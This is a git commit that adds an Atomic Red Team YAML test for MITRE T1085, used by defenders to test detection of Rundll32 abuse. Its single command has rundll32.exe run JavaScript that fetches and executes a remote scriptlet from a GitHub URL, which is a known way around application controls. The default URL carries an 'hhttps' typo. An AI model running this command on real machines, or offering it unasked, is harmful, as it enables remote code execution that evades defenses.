Merge pull request #162 from redcanaryco/t1085

Bring T1085 over from yamlize branch
2018-05-23 16:34:49 -06:00
parent 7bb6fe9541 5ec7fc065a
commit 1d18ab24dd
1 changed files with 17 additions and 0 deletions
@@ -0,0 +1,17 @@
+attack_technique: T1085
+display_name: Rundll32
+atomic_tests:
+- name: Rundll32 execute JavaScript Remote Payload With GetObject
+  description: |
+    Test execution of a remote script using rundll32.exe
+  supported_platforms:
+    - windows
+  input_arguments:
+    file_url:
+      description: location of the payload
+      type: Url
+      default: hhttps://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct
+  executor:
+    name: command_prompt
+    command: |
+      rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}")"